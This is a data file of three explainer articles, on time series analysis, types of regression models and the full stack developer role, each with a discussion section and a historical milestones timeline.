{"text":"# Time Series Analysis\n\n## Summary\n\n\nTime series data is an ordered sequence of observations of well-defined data items at regular time intervals. Examples include daily exchange rates, bank interest rates, monthly sales, heights of ocean tides, or humidity. Time Series Analysis (TSA) finds hidden patterns and obtains useful insights from time series data. TSA is useful in predicting future values or detecting anomalies across a variety of application areas. \n\nHistorically, TSA was divided into time domain versus frequency domain approaches. The time domain approach used autocorrelation function whereas the frequency domain approach used Fourier transform of the autocorrelation function. Likewise, there are also Bayesian and non-Bayesian approaches. Today these differences are of less importance. Analysts use whatever suits the problem. \n\nWhile most methods of TSA are from classical statistics, since the 1990s artificial neural networks have been used. However, these can excel only when sufficient data is available.\n\n## Discussion\n\n### What are the main objectives of time series analysis?\n\nTSA has the following objectives: \n\n    + **Describe**: Describe the important features of the time series data. The first step is to plot the data to look for the possible presence of trends, seasonal variations, outliers and turning points.\n    + **Model**: Investigate and find out the generating process of the time series.\n    + **Predict**: Forecast future values of an observed time series. Applications are in predicting stock prices or product sales.\n\n### What are some applications of time series analysis?\n\nTSA used in numerous practical fields such as business, economics, finance, science, or engineering. Some typical use cases are Economic Forecasting, Sales Forecasting, Budgetary Analysis, Stock Market Analysis, Yield Projections, Process and Quality Control, Inventory Studies, Workload Projections, Utility Studies, and Census Analysis. \n\nIn TSA, we collect and study past observations of a time series data. We then develop an appropriate model that describes the inherent structure of the series. This model is then used to generate future values for the series, that is, to make forecasts. Time series analysis can be termed as the act of predicting the future by understanding the past. \n\nForecasting is a common need in business and economics. Besides forecasting, TSA is also useful to see how a single event affects the time series. TSA can also help towards quality control by pointing out data points that are deviating too much from the norm. Control and monitoring applications of TSA are more common in science and industry. \n\n\n### What are the main components of time series data?\n\nThere are many factors that result in variations in time series data. The effects of these factors are studied by following four major components: \n\n    + **Trends**: A trend exists when there is a long-term increase or decrease in the data. It doesn't have to be linear. Sometimes we will refer to a trend as \"changing direction\" when it goes from an increasing trend to a decreasing trend.\n    + **Seasonal**: A seasonal pattern exists when a series is influenced by seasonal factors (quarterly, monthly, half-yearly). Seasonality is always of a fixed and known period.\n    + **Cyclic Variation**: A cyclic pattern exists when data exhibits rises and falls that are not of fixed period. The duration of these cycles is more than a year. For example, stock prices cycle between periods of high and low values but there's no set amount of time between those fluctuations.\n    + **Irregular**: The variation of observations in a time series which is unusual or unexpected. It's also termed as a *Random Variation* and is usually unpredictable. Floods, fires, revolutions, epidemics, and strikes are some examples.\n\n### What is a stationary series and how important is it?\n\nGiven a series of data points, if the mean and variance of all the data points remain constant with time, then we call it a stationary series. If these vary with time, we call it a non-stationary series. \n\nMost prices (such as stock prices or price of Bitcoins) are not stationary. They are either drifting upward or downward. Non-stationary data are unpredictable and cannot be modeled or forecasted. The results obtained by using non-stationary time series may be spurious in that they may indicate a relationship between two variables where one doesn't exist. In order to receive consistent, reliable results, non-stationary data needs to be transformed into stationary data.\n\n\n### Given a non-stationary series, how can I make it stationary?\n\nThe two most common ways to make a non-stationary time series curve stationary are: \n\n    + **Differencing**: In order to make a series stationary, we take a difference between the data points. Suppose the original time series is \\(X\\_1, X\\_2, X\\_3, \\ldots X\\_n\\). Series with difference of degree 1 becomes \\(X\\_2-X\\_1, X\\_3-X\\_2, X\\_4-X\\_3, \\ldots, X\\_n-X\\_{n-1}\\). If this transformation is done only once to a series, we say that the data has been **first differenced**. This process essentially eliminates the trend if the series is growing at a fairly constant rate. If it's growing at an increasing/decreasing rate, we can apply the same procedure and difference the data again. The data would then be **second differenced**.\n    + **Transformation**: If the series can't be made stationary, we can try transforming the variables. Log transform is probably the most commonly used transformation for a diverging time series. However, it's normally suggested to use transformation only when differencing is not working.\n\n### What are the different models used in Time Series Analysis?\n\nSome commonly used models for TSA are:\n\n    + **Auto-Regressive (AR)**: A regression model, such as linear regression, models an output value based on a linear combination of input values. \\(y = \\beta\\_0 + \\beta\\_1x + \\epsilon\\). In TSA, input variables are observations from previous time steps, called *lag variables*. For p=2, where p is the order of the AR model, *AR(p)* is \\( x\\_t = \\beta\\_0 + \\beta\\_1 x\\_{t-1} + \\beta\\_2 x\\_{t-2}\\)\n    + **Moving Average (MA)**: This uses past forecast errors in a regression-like model. For q=2, *MA(q)* is \\(x\\_t = \\theta\\_0 + \\theta\\_1 \\epsilon\\_{t-1} + \\theta\\_2 \\epsilon\\_{t-2}\\)\n    + **Auto-Regressive Moving Average (ARMA)**: This combines both AR and MA models. *ARMA(p,q)* is \\(\\begin{align}x\\_t = &\\beta\\_0 + \\beta\\_1 x\\_{t-1} + \\beta\\_2 x\\_{t-2} + \\ldots + \\beta\\_p x\\_{t-p} + \\\\ &\\theta\\_0 + \\theta\\_1 \\epsilon\\_{t-1} + \\theta\\_2 \\epsilon\\_{t-2} + \\ldots + \\theta\\_q \\epsilon\\_{t-q} \\end{align}\\)\n    + **Auto-Regressive Integrated Moving Average (ARIMA)**: The above models can't handle non-stationary data. *ARIMA(p,d,q)* handles the conversion of non-stationary data to stationary: *I* refers to the use of differencing, *p* is lag order, *d* is degree of differencing, *q* is averaging window size.\n\n### What are autocorrelations in the context of time series analysis?\n\nAutocorrelations are numerical values that indicate how a data series is related to itself over time. It measures how strongly data values separated by a specified number of periods (called the **lag**) are correlated to each other. **Auto-Correlation Function (ACF)** defines autocorrelation for a specific lag. \n\nAutocorrelations may range from +1 to -1. A value close to +1 indicates a high positive correlation while a value close to -1 implies a high negative correlation. These measures are most often evaluated through graphical plots called **correlogram**. A correlogram plots the auto-correlation values against lag. Such a plot helps us choose the order parameters for ARIMA model.\n\nIn addition to suggesting the order of differencing, ACF plots can help in determining the order of MA(q) models. **Partial Auto-Correlation Function (PACF)** correlates a variable with its lags, conditioned on the values in between. PACF plots are useful when determining the order of AR(p) models. \n\n\n### How do I build a time series model?\n\nARMA or ARIMA are standard statistical models for time series forecast and analysis. Along with its development, the authors Box and Jenkins also suggested a process for identifying, estimating, and checking models. This process is now referred to as the **Box-Jenkins (BJ) Method**. It's an iterative approach that consists of the following three steps: \n\n    + **Identification**: Involves determining the order (p, d, q) of the model in order to capture the salient dynamic features of the data. This mainly leads to use graphical procedures such as time series plot, ACF, PACF, etc.\n    + **Estimation**: The estimation procedure involves using the model with p, d and q orders to fit the actual time series and minimize the loss or error term.\n    + **Diagnostic checking**: Evaluate the fitted model in the context of the available data and check for areas where the model may be improved.\n\n### How do we handle random variations in data?\n\nWhenever we collect data over some period of time there's some form of random variations. Smoothing is the technique to reduce the effect of such variations and thereby bring out trends and cyclic components. There are two distinct groups of smoothing methods:\n\n**Averaging Methods** \n\n    + Moving Average: we forecast the next value by averaging 'p' previous values.\n    + Weighted Average: we assign weights to each of the previous observations and then take the average. The sum of all the weights should be equal to 1.**Exponential Smoothing Methods**: It assigns exponentially decreasing weights as the observation get older. In other words, recent observations are given relatively more weight in forecasting than the older observations. There are several varieties of this method: \n\n    + Simple exponential smoothing for series with no trend and seasonality: the basic formula for simple exponential smoothing is \\(S\\_{t+1} = \\alpha y\\_t + (1-\\alpha)S\\_t, 0 < \\alpha <=1, t > 0\\)\n    + Double exponential smoothing for series with a trend and no seasonality.\n    + Triple exponential smoothing for series with both trend and seasonality.\n\n\n## Milestones\n\n1662\n\nJohn Graunt publishes a book titled *Natural and Political Observations … Made upon the Bills of Mortality*. The book contains the number of births and deaths recorded weekly for many years starting from early 17th century. It also includes the probability that a person dies by a certain age. Such tables of life expectancy later become known as **actuarial tables**. This is one of the earliest examples of time series style of thinking applied to medicine. \n\n1861\n\nRobert FitzRoy coins the term \"weather forecast\". Such forecasts start appearing in *The Times* from August 1861. Atmospheric data collected from many parts of England are relayed by telegraph to London, where FitzRoy analyzes the data (along with past data) to make forecasts. His forecasts forewarn sailors of impending storms and directly contribute to reducing shipwrecks. \n\n1887\n\nAugustus D. Waller, a doctor by profession, records what is possibly the first electrocardiogram (ECG). As practical ECG machines arrive in the early 20th century, TSA is applied to estimate the risk of cardiac arrests. In the 1920s, electroencephalogram (EEG) is introduced to measure brain activity. This gives doctors more opportunities to apply TSA. \n\n1927\n\nYule applies **harmonic analysis** and **regression** to determine the periodicity of sunspots. He separates periodicity from superposed fluctuations and disturbances. Yule's work starts the use of statistics in TSA. In general, application of autoregressive models is due to Yule and Walker in the 1920s and 1930s. \n\n1960\n\nMuth establishes a statistical foundation for **Simple Exponential Smoothing (SES)** by showing that it's optimal for a random walk plus noise. Further advances to exponential smoothing happen in 1985: Gardner gives a comprehensive review of the topic; Snyder links SES to innovation state space model, where *innovation* refers to the forecast error. \n\n1969\n\nBates and Granger show that by **combining forecasts** from two independent models, we can achieve a lower mean squared error. They also propose how to derive the weights in which the two original forecasts are to be combined. The same year, David Reid publishes his PhD thesis that's probably the first non-trivial study of time series forecast accuracy. \n\n1970\n\nBox and Jenkins publish a book titled *Time Series Analysis: Forecasting and Control*. This work popularizes the ARIMA model with an iterative modelling procedure. Once a suitable model is built, forecasts are conditional expectations of the model using mean squared error (MSE) criterion. In time, this model is called the **Box-Jenkins Model**. \n\n1978\n\nThrough the 1970s, many statisticians continue to believe that there's a single model waiting to be discovered that can best fit any given time series data. However, empirical evidence show that an ensemble of models give better results. These debates cause George Box to famously remark,\n\n> All models are wrong but some are useful\n\n1979\n\nMakridakis and Hibon use 111 time series data and compare the performance of many forecasting methods. Their results claim that a combination of simpler methods can outperform a sophisticated method. This causes a stir within the research community. To prove the point, Makridakis and Hibon organize a competition, called **M-Competition** starting from 1982: 1001 series (1982), 29 series (1993), 3003 series (2000), 100,000 series (2018), and 42,840 series (2020). \n\n1980\n\nAlthough Kalman filtering was invented in the 1960, it's only in the 1980s that statisticians use **state-space parameterization** and **Kalman filtering** for TSA. The recursive form of the filter enables efficient forecasting. An ARIMA model can be put into a state-space model. Similarly, a state-space model suggests an ARIMA model. \n\n1982\n\nRobert Engle develops the **Autoregressive Conditional Heteroskedasticity (ARCH)** model to account for time-varying volatility observed in economics time series data. In 1986, his student Time Bollerslev develops the Generalized ARCH (GARCH) model. In general, variance of the error term depends on past error terms and their variance. ARCH and GARCH are non-linear generalizations of the Box-Jenkins model. \n\n1987\n\nEngle and Grange propose **cointegration** as a technique for multivariate TSA. Cointegration is a linear combination of marginally unit-root nonstationary series to yield a stationary series. This becomes a popular method in econometrics due to long-term relationship between variables. An earlier method of multivariable TSA is **Vector Autoregressive (VAR)** model. \n\n1998\n\nZhang et al. publish a survey of **neural networks** applied to forecasting. They note an early work by Lapedes and Farber (1987) who proposed multi-layer feedforward networks. However, the use of ANNs for forecasting happens mostly in the 1990s. In general, feedforward or recurrent networks are preferred. At most two hidden layers are used. Number of input nodes correspond to the number of lagged observations needed to discover patterns in data. Number of output nodes correspond to the forecasting horizon. \n\n2019\n\nSánchez-Sánchez et al. highlight many issues in using neural networks for TSA. There's no clarity on how to select the number of input or hidden neurons. There's no guidance on how best to partition the data into training and validation sets. It's not clear if data needs to be preprocessed or if seasonal/trend components have to be removed before data goes into the model. In 2018, Hyndman commented that neural networks perform poorly due to insufficient data. This is likely to change as data becomes more easily available.","meta":{"title":"Time Series Analysis","href":"time-series-analysis"}}
{"text":"# Types of Regression\n\n## Summary\n\n\nRegression is widely used for prediction or forecasting where given one or more independent variables we try to predict another variable. For example, given advertising expense, we can predict sales. Given a mother's smoking status and the gestation period, we can predict the baby's birth weight. \n\nThere are many types of regression models, one source mentioning as many as 35 different models. An analyst or statistician must select a model that makes sense to the problem. Models differ based on the number of independent variables, type of the dependent variable and how these two are related to each other.\n\nRegression comes from statistics. It's one of many techniques used in machine learning.\n\n## Discussion\n\n### Could you introduce regression?\n\nSuppose there's a dependent or response variable \\(Y\\_i\\) and independent variables or predictors \\(X\\_i\\). The essence of regression is to estimate the function \\(f(X\\_i,\\beta)\\) that's a model of how the dependent variable is related to the predictors. Adding an error term or residual \\(\\epsilon\\_i\\), we get \\(Y\\_i = f(X\\_i,\\beta) + \\epsilon\\_i\\), for scalar \\(Y\\_i\\) and vector \\(X\\_i\\). \n\nThe residual is not seen in data. It's the difference between the observed value \\(Y\\_i\\) and what the model predicts. With the goal of minimizing the residuals, regression estimates model parameters or coefficients \\(\\beta\\) from data. There are many ways to do this and the term **estimation** is used for this process. \n\nRegression modelling also makes important assumptions. The sampled data should represent the population. There are no measurement errors in the predictor values. Residuals have zero mean (when conditioned on \\(X\\_i\\)) and constant variance. Residuals are also uncorrelated with one another. More assumptions are used depending on the model type and estimation technique. \n\nRegression uncovers useful relationships, that is, how predictors are correlated to the response variable. Regression makes no claim that predictors influence or cause the outcome. Correlation should not be confused for causality. \n\n\n### How do you classify the different types of regression?\n\nRegression techniques can be classified in many ways:\n\n    + **Number of Predictors**: We can distinguish between *Univariate Regression* and *Multivariate Regression*.\n    + **Outcome-Predictors Relationship**: When this is linear, we can apply *Linear Regression* or its many variants. If the relationship is non-linear, we can apply *Polynomial Regression* or *Spline Regression*. More generally, when the relationship is known it's *Parametric Regression*, otherwise it's *Non-parametric Regression*.\n    + **Predictor Selection**: With multiple predictors, sometimes not all of them are important. *Best Subsets Regression* or *Stepwise Regression* can find the right subset of predictors. We could penalize too many predictors in the model using *Ridge Regression*, *Lasso Regression* or *Elastic Net Regression*.\n    + **Correlated Predictors**: If predictors are correlated, one approach is to transform them into fewer predictors by a linear combination of the original predictors. *Principal Component Regression (PCR)* and *Partial Least Squares (PLS) Regression* are two approaches to do this.\n    + **Outcome Type**: When predicting categorical data, we can apply *Logistic Regression*. When outcome is a count variable, we can apply *Poisson Regression* or *Negative Binomial Regression*. In fact, a suitable method of regression can be inferred from the distribution of the dependent variable.\n\n### What are the types of linear regression models?\n\n**Simple Regression** involves only one predictor. For example, \\(Y\\_i = \\beta\\_0 + \\beta\\_{1}X\\_{1i} + \\epsilon\\_i\\). \n\nIf we generalize to many predictors, the term **Multiple Linear Regression** is used. Consider a bivariate linear model \\(Y\\_i = \\beta\\_0 + \\beta\\_{1}X\\_{1i} + \\beta\\_{2}X^2\\_{2i} + \\epsilon\\_i\\). Although there's a square term, the model is still linear in terms of the parameters. \n\nTo represent many Multiple Linear Regression models in a compact form we can use the **General Linear Model**. This generalization allows us to work with many dependent variables dependent on the same independent variables. This also incorporates different statistical models including ANOVA, ANCOVA, OLS, t-test and F-test. \n\nThe General Linear Model makes the assumption that \\(Y\\_i ∼ N(X^T\\_i\\beta,\\sigma^2)\\), that is, response variable is normally distributed with a mean that's a linear combination of predictors. A larger class of models is called **Generalized Linear Model (GLM)** that allows \\(Y\\_i\\) to be any distribution of the exponential family of distributions. The General Linear Model is a specialization of the GLM. \n\nIf response is affected by randomness, the **Generalized Linear Mixed Model (GLMM)** can be used. \n\n\n### Could you compare linear and logistic regression?\n\nSince logistic regression deals with categorical outcomes, it predicts the probability of an outcome rather than a continuous value. Predictions should therefore be restricted to the range 0-1. This is done by transforming the linear regression equation to the **logit scale**. This is the natural log of the odds of being in one category versus the other categories. \n\nFor this reason, logistic regression may be seen as a particular case of GLM. Logit is used as the *link function* that relates predictors to the outcome. \n\nLogistic regression shares with linear regression many of the assumptions: independence of errors, linearity (but in the logit scale), absence of multicollinearity among predictors, and lack of influential outliers. \n\nThere are three types of logistic regressions: \n\n    + **Binary**: Only two outcomes. Example: predict that a student passes a test. When all predictors are categorial, we call them *logit models* .\n    + **Nominal**: More than two outcomes. Also called *Multinominal Logistic Regression*. Example: predict the colour of an iPhone model a customer is likely to buy.\n    + **Ordinal**: More than two ordered outcomes. Example: predicting a medical condition (good, stable, serious, critical).\n\n### Could you explain parametric versus non-parametric regression?\n\nLinear models and even non-linear models are parametric models since we know (or make an educated guess) about how the outcome relates to predictors. Once the model is fixed, the task is to estimate the parameters \\(\\beta\\) of the model. If we have problems in this estimation, we can revise the model and try again. \n\nNon-parametric regression is more suitable when we have no idea how the outcome relates to the predictors. Usually when the relationship is non-linear, we can adopt non-parametric regression. For example, one study attempting to predict the logarithm of wage from age found that non-parametric regression approaches outperformed simple linear and polynomial regression methods. \n\nParametric models have a finite set of parameters that try to capture everything about observed data. Model complexity is bounded even with unbounded data. Non-parametric models are more flexible because the model gets better as more data is observed. We can view them as having infinite parameters or functions that we attempt to estimate. Artificial neural networks with infinitely many hidden units is equivalent to non-parametric regression. \n\n\n### What are some specialized regression models?\n\nWe note a few of these with brief descriptions:\n\n    + **Robust Regression**: This is better suited than linear regression in handling outliers or influential observations. Observations are weighted.\n    + **Huber Regression**: To handle outliers better, this optimizes a combination of squared error and absolute error.\n    + **Quantile Regression**: Linear regression predicts the mean of the dependent variable. Quantile regression predicts the median. More generally, it predicts the nth quantile. For example, predicting the 25th quantile of a house price means that there's 25% chance that the actual price is below the predicted value.\n    + **Functional Sequence Regression**: Sometimes predictors affect the outcome in a time-dependent manner. This model includes the time component. For example, onion weight depends on environmental factors at various stages of the onion's growth.\n    + **Regression Tree**: Use a decision tree to split the predictor space at internal nodes. Terminal nodes or leaves represent predictions, which are the mean of data points in each partitioned region.\n\n### Could you share examples to illustrate a few regression methods?\n\nIn a production plant, there's a linear correlation between water consumption and amount of production. Simple regression suffices in this case, giving the fit as `Water = 2273 + 0.0799 Production`. Thus, even without any production, 2273 units of water are consumed. Every unit of production increases water consumption by 0.0799 units. Both predictor and outcome are continuous variables. \n\nAs an example of multiple linear regression, let's predict the birth weight of a baby (continuous variable) based on two predictors: mother is a smoker or non-smoker (categorial variable) and gestation period (continuous variable). We represent non-smokers as 0 and smokers as 1. The regression equation is `Wgt = - 2390 + 143.10 Gest - 244.5 Smoke`. If we plot this, we'll actually see two parallel lines, one for smokers and one for non-smokers. \n\nOne study looked at the number of cigarettes college students smoked per day. They predicted this count from gender, birth order, education level, social/psychological factors, etc. The study used poisson regression, negative binomial regression, and many others. \n\n\n### With so many types of regression models, how do I select a suitable one?\n\nTo apply linear regression, the main assumptions must be met: linearity, independence, constant variance and normality. Linearity can be checked via graphical analysis. A plot of residuals versus predicted values can show non-linearity, or use goodness of fit test. Non-linear relations can be made linear using transformations of predictors and/or the outcome. These could be log, square root or power transformations. Try adding transformations of current predictors. Try semi or non-parametric models. \n\nIn practice, linear regression is sensitive to outliers and cross-correlations. Piecewise linear regression, particularly for time series data, is a better approach. Non-parametric regression can be used when there's an unknown non-linear relationship. SVR is an example of non-parametric regression. \n\nWhen overfitting is a problem, use cross validation to evaluate models. Ridge, lasso and elastic net models can help tackle overfitting.  They can also handle multicollinearity. Quantile regression is suited to handle outliers. \n\nFor predicting counts, use negative binomial regression if variance is larger than the mean. Poisson regression can be used only if variance equals the mean.  \n\n\n### What are some tips to analyze model statistics?\n\nWell-known model performance metrics include R-squared (R2), Root Mean Squared Error (RMSE), Residual Standard Error (RSE) and Mean Absolute Error (MAE). We also have metrics that penalize additional predictors: Adjusted R2, Akaike's Information Criteria (AIC) and Bayesian Information Criteria (BIC) and Mallows Cp. Higher the R2 or Adjusted R2, better the model. For all other metrics, lower value implies a better model. \n\nA high t-statistic implies coefficient is probably non-zero. A low p-value on the t-statistic gives confidence on the estimate. Low coefficients and low p-value for the model as a whole can imply multicollinearity. While t-test is applied to individual coefficients, F-test is applied to the overall model. \n\nTwo models can be compared graphically. For example, the coefficients and their confidence intervals can be plotted and compared visually. \n\n\n### What software packages support regression?\n\nIn R, functions `lm()`, `summary()`, `residuals()` and `predict()` in the `base` package enable linear regression. For GLM, we can use `glm()` function. Use `quantreg` package for quantile regression; `glmnet` for ridge, lasso and elastic net regression; `pls` for principal component regression; `plsdepot` for PLS regression; `e1071` for Support Vector Regression (SVR); `ordinal` for ordinal regression; `MASS` for negative binomial regression; `survival` for cox regression. Other useful packages are `stats`, `car`, `caret`, `sgd`, `BLR`, `Lars`, and `nlme`. \n\nIn Python, `scikit-learn` provides a number of modules and functions for regression. Use module `sklearn.linear_model` for linear regression including logistic, poisson, gamma, huber, ridge, lasso, and elastic net; `sklearn.svm` for SVR; `sklearn.neighbors` for k-nearest neighbours regression; `sklearn.isotonic` for isotonic regression; `metrics` for regression metrics; `sklearn.ensemble` for ensemble methods for regression. \n\n## Milestones\n\n1795\n\nRegression starts with Carl Friedrich Gauss with the **method of least squares**. He doesn't publish the method until much later in 1809. In 1805, Adrien-Marie Legendre invents the same approach independently. Legendre uses it to predict the orbits of comets. \n\n1877\n\nFrancis Galton plots in 1877 what may be called the first **regression line**. It concerns the size of sweet-pea seeds. It correlated the size of daughter seeds against that of mother seeds. Such an analysis came about in the course of investigating Darwin's mechanism for heredity. By these experiments, Galton also introduces the concept of \"reversion to the mean\", later called **regression to the mean**. \n\n1915\n\nR.A. Fisher gives the exact sampling distribution of the coefficient of correlation, thus marking the beginning of **multivariate analysis**. Fisher then simplifies it to a form via **z-transformation**. In the early 1920s, he introduces the **F distribution** and **maximum likelihood** method of estimation. \n\n1957\n\nHotelling proposes **Principal Component Regression (PCR)** in an attempt to reduce the number of explanatory variables (predictors) in the regression model. PCR itself is based on Principal Component Analysis (PCA) that was invented independently by Pearson (1901) and Hotelling (1930s). \n\n1960\n\nAlthough the logistic function was invented by Verhulst in the 1830s, it's only in the 1960s that it's applied to regression analysis. D.R. Cox is among the early researchers to do this. Many researchers, including Cox, independently develop **Multinomial Logistic Regression** through the 1960s. \n\n1970\n\nHoerl and Kennard note that least squares estimation is unbiased and this can give poor results if there's multicollinearity among the predictors. To improve the estimation they propose a biased estimation approach that they call **Ridge Regression**. Ridge regression uses standardized variables, that is, outcome and predictors are subtracted by mean and divided by standard deviation. By introducing some bias, variance of the least squares estimator is controlled. \n\n1972\n\nD.R. Cox applies regression to life-table analysis. Among the sampled individuals, he observes either the time to \"failure\" or that the individual is removed from the study (called censoring). Moreover, the distribution of survival times is often skewed. For these reasons, linear regression is not suitable. Cox instead uses a hazard function that incorporates age-specific failure rate. In later years, this approach is simply called **Cox Regression**. \n\n1972\n\nNelder and Wedderburn introduce the **Generalized Linear Model (GLM)**. As examples, they relate GLM to normal, binomial (probit analysis), poisson (contingency tables), and gamma (variance components) distributions. However, it's only in the 1980s that GLM becomes popular due to the work of McCullagh and Nelder. \n\n1978\n\nKoenker and Bassett introduce **Quantile Regression**. This uses weighted least absolute error rather than least squares error common in linear regression. \n\n1981\n\nHuber proposes an estimator that's quadratic in small values and grows linearly for large values. It's later named **Huber Regression**. \n\n1996\n\nTibshirani proposes **Lasso Regression** that uses the least squares estimator but constrains the sum of absolute value of coefficients to a maximum. This forces some coefficients to zero or low values, leading to more interpretable models. This is useful when we start with too many predictors. \n\n2002\n\nDe'ath proposes the **Multivariate Regression Tree (MRT)**. The history of regression trees goes back to the 1960s. With the release of CART (Classification and Regression Tree) software in 1984, they became more well known. However, CART is limited to a single response variable. MRT extends CART to multivariate response data. \n\n2005\n\nZou and Hastie propose **Elastic Net Regression**. This combines elements of both ridge regression and lasso regression.","meta":{"title":"Types of Regression","href":"types-of-regression"}}
{"text":"# Full Stack Developer\n\n## Summary\n\n\nAny technological solution to a real-world problem consists of several IT components interacting with each other. The entire basket of software platforms, tools, services, and even hardware or networking devices employed in the development of an IT application is called *Technology Stack*. A developer whose skills cover the entire range of the technology stack, both at client and system end is a Full Stack Developer. It's more of a coinage indicating a programmer who is jack of all arts and master of one or two.  \n\nThese professionals can easily understand most programming languages and can help to bring the company's minimum viable product into the market quickly. This is especially important for web or mobile app start-ups. Full stack developers, due to their wider system understanding, are able to contribute better to system design in addition to development.\n\n## Discussion\n\n### How did the sudden demand for full stack developers occur?\n\nThe whole narrative of full stack developer emerged from the IT start-up boom. Earlier, large IT service companies or product MNCs were keen on specialists who knew one thing well. These traditional roles were GUI developer, C/Java programmer, database specialist/admin, network engineer, test or automation engineer, and so on. A typical IT application would be an integrated hierarchical solution requiring most of these skill-sets. \n\nBut in start-ups, the team is looking to build a minimum viable product that can showcase their basic idea. This helps them seek funding and then make expansion plans. This has to be achieved with minimum number of developers and limited investment. Time to market is also very short. Hence, the need arose to recruit developers capable of programming in the entire spectrum of technologies.\n\nA 2018 LinkedIn survey listed \"Full Stack Developers\" among the top 10 hard skills that developers need to possess in the IT industry. \n\nWhile full stack developers are presently the trend, it doesn't imply that experts are no longer vital. As the product grows and scales, specialists are required.\n\n\n### What are the technologies that a full stack developer is expected to know?\n\nSkillset of full-stack developers resembles the T-model. They have knowledge across wide-breadth of technologies but in-depth knowledge of a couple of those.\n\nKnowledge of at least one language/platform in each technology layer is a must. In the web development context, popular full stack combinations include: \n\n    + **LAMP stack**: JavaScript - Linux - Apache - MySQL - PHP\n    + **LEMP stack**: JavaScript - Linux - Nginx - MySQL - PHP\n    + **MEAN stack**: JavaScript - MongoDB - Express - AngularJS - Node.js\n    + **Django stack**: JavaScript - Python - Django - MySQL\n    + **Ruby on Rails**: JavaScript - Ruby - SQLite - RailsVendor-specific full stack expertise is also quite prevalent:\n\n    + **Microsoft**: .NET (WPF, WCF, WF), Visual Studio, C#, ASP.NET/ MVC/ MVVM, REST/ Web API, Azure, GIT/ SVN, Web (HTML5/CSS3/JS), jQuery / Typescript, Bootstrap / Angular, MS SQL Server\n    + **Amazon**: AWS Amplify (Web UI), Amazon Cognito (web browser), Amazon API gateway, AWS Lambda, Amazon DynamoDBHowever, developers must always remember that the technology choice is dependent on what works best for the product under design, not the other way round.\n\n\n### What is a company really asking for while recruiting a full stack developer?\n\nTechnology used in products are never static. Companies may decide to migrate to a new version, platform or vendor that enters the market. Therefore, there is no point in recruiting a full stack developer with rigid set of skills. By asking for full stack developers, companies are actually looking for the following skills and attitude in a candidate:\n\n    + At least know one language or platform in each technology function - user Interface, backend processing, middleware, business logic, DB/storage, networking/communication, testing.\n    + Self-learning ability to master a new technology quickly.\n    + Ability to make a demonstrable product or prototype.\n    + Can independently perform debugging and customer support for applications, with quick turnaround time. The bug could be anywhere in the system.\n    + Work in teams and relate to the problems faced by developers working on other modules.\n    + Understand the big picture, translate the customer requirement into a system design, which would encompass several technologies across layers. A full stack developer will make a good tech lead or system architect.\n    + Good at integration testing and system testing from customer perspective.\n\n### Are there multiple types of technology stacks?\n\nThere is no text book definition for what constitutes a technology stack. Any hierarchy of interdependent modules built using different technologies, frameworks and languages is a technology stack.\n\nFor instance, the concept of a protocol stack has existed for decades now - OSI Layers, TCP/IP stack and other communication/control protocols.\n\nA mobile phone device can be an example of a hardware technology stack – body, network processor chip, peripherals, memory, battery, LCD screen all stacked one above the other.\n\nA MEAN stack refers to a stack for building web apps and websites. It consists of MongoDB for database storage, Express.js as the application framework, AngularJS MVC framework, and Node.js as the server-side framework. \n\nThe system design document prepared by a product development team would document the customised technology stack to be used for its own products.\n\nMany large IT companies openly declare what technology stack is used in their development. \n\n\n### How to choose a technology stack for a product/application?\n\nTechnology choices are made only in the product design phase, after the product requirements are finalised. This involves evaluating various technology alternatives to make up the stack. The factors considered are:\n\n    + **Meets the requirements entirely**: For example, if the requirement is to build a military application, then platforms with highest data security and reliability are chosen. Limited network connectivity, multi-language support, accessibility for the disabled are examples of specialised requirements that influence the choice of stack.\n    + **Scalable to support future requirement additions**: Product requirements are always changing based on customer feedback. So the technology choice must support product growth for at least 3-5 years.\n    + **Cost considerations**: When budgets are limited, companies tend to prefer open source options. Or if an older project has a pre-purchased software license, the same may continue into the new one. This is not optimal, but happens a lot in the industry.\n    + **Skillset of existing workforce**: This goes against the idea of designing for requirements. But very often, due to HR constraints and inability to reskill, companies decide to stick to a particular technology stack.\n\n### Can you list the technology stacks used in popular IT applications?\n\nSome product MNCs and start-ups swear by the efficacy of hiring full stack developers. They openly publicise the technology stack used in their solutions, such as: \n\n    + **Facebook**: PHP, React, GraphQL, Memcached, Cassandra, Hadoop, MySQL, Swift, C++, PHP, JavaScript, JSON, HTML, CSS.\n    + **Amazon**: Java, Perl, Angular JS, MySQL, Amazon EC2 container service, DynamoDB and a host of other Amazon frameworks.\n    + **Google**: Python, Java, Android SDK, Go, C++, Preact, Angular JS, Kubernetes, TensorFlow and a host of other Google frameworks.\n    + **Dropbox**: REDIS, C#, .NET, MS SQL Server\n    + **StackOverflow**: NGINX, Amazon, MySQL, Python\n    + **Airbnb**: Javascript, MySQL, Java, Ruby on Rails\n    + **Fitbit**: Node.JS, Javascript, Objective C, JavaHowever many technology experts and recruiters call the idea as a passing fad which breeds superficial programmers, who lack the ability to build deep expertise in anything. Without knowing the nuances of a language, the best implementations are not possible, they claim. \n\n## Milestones\n\n2008\n\nOne of the earliest mentions of the term \"Full Stack Developer\" is in a blog written by Randy Schmidt for Forge38 magazine. It's clearly used in the context of web development. \n\n2010\n\nThe first Google search for the term \"Full Stack Developer\" happens. So it's a fairly recent phenomenon. \n\n2012\n\nFront-end development takes a rapid leap. Full stack developers for web development become a popular choice. Earlier, web browsers were poor at interpreting a lot of JavaScript. Adding complex functionality with JS wasn't always a good idea. As browsers became more powerful, JavaScript became versatile with extensions such as AngularJS and jQuery. \n\n2014\n\nThe number of layers in the stack is steadily increasing. In 2010, a full-stack developer perhaps needed to know PHP, jQuery, HTML, CSS, and FTP to transfer files to the hosting server. Today, a full-stack developer needs a wider spectrum of skills from modular frameworks to CSS pre-processors, from responsive UI design to cloud cluster management. \n\n2020\n\nFacebook announces a new update to their technology stack. They are rebuilding their tech stack for Facebook.com, moving beyond a simple PHP website. Their stack includes React (a declarative JavaScript library for building user interfaces) and Relay (a GraphQL client for React). \n\nOct  \n2020\n\nThe position \"Full stack developer\" has over 14,000 listings in the US and 6,000 India on the Indeed Job portal.","meta":{"title":"Full Stack Developer","href":"full-stack-developer"}}
